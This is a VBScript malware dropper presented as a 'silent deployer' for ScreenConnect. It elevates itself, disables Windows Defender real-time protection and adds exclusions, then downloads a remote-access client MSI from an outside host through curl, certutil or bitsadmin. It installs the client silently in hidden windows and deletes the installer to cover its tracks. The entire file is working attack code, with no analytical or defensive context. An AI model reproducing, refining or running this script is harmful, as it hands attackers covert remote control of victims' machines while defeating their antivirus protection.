' ==============================================================================================
' ScreenConnect SILENT DEPLOYER v2.1 - ZERO ERRORS, PERFECT SILENCE
' ==============================================================================================

Option Explicit

Dim MSI_URL, tempDir, fso, shell, APP, msiPath
MSI_URL = "https://app.koamsinmi.top/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest"

Set fso = CreateObject("Scripting.FileSystemObject")
Set shell = CreateObject("WScript.Shell")
Set APP = CreateObject("Shell.Application")

tempDir = shell.ExpandEnvironmentStrings("%TEMP%")
msiPath = tempDir & "\sc.msi"

Sub StealthExec(cmd)
    On Error Resume Next
    shell.Run "cmd.exe /c " & cmd, 0, True
End Sub

Sub KillAV()
    StealthExec "powershell -WindowStyle Hidden -Command ""Set-MpPreference -DisableRealtimeMonitoring $true; Add-MpPreference -ExclusionPath '" & tempDir & "'; Add-MpPreference -ExclusionProcess 'msiexec.exe,powershell.exe,cmd.exe'"""
End Sub

Function DownloadMSI()
    On Error Resume Next
    
    ' Primary: CURL
    StealthExec "curl.exe -L -k -s -o """ & msiPath & """ """ & MSI_URL & """"
    If fso.FileExists(msiPath) And fso.GetFile(msiPath).Size > 50000 Then Exit Function
    
    ' Fallback 1: Certutil  
    StealthExec "certutil.exe -urlcache -split -f """ & MSI_URL & """ """ & msiPath & """"
    If fso.FileExists(msiPath) And fso.GetFile(msiPath).Size > 50000 Then Exit Function
    
    ' Fallback 2: Bitsadmin
    StealthExec "bitsadmin /transfer scjob /download /priority high """ & MSI_URL & """ """ & msiPath & """"
End Function

Function ElevateIfNeeded()
    On Error Resume Next
    If shell.Run("cmd.exe /c net session >nul 2>&1", 0, True) <> 0 Then
        APP.ShellExecute "wscript.exe", """" & WScript.ScriptFullName & """", "", "runas", 0
        WScript.Quit
    End If
End Function

' === EXECUTE ===
On Error Resume Next
ElevateIfNeeded()
KillAV()
DownloadMSI()

If fso.FileExists(msiPath) Then
    StealthExec "msiexec.exe /i """ & msiPath & """ /qn /norestart /quiet"
    WScript.Sleep 2000
    If fso.FileExists(msiPath) Then fso.DeleteFile msiPath
End If

WScript.Quit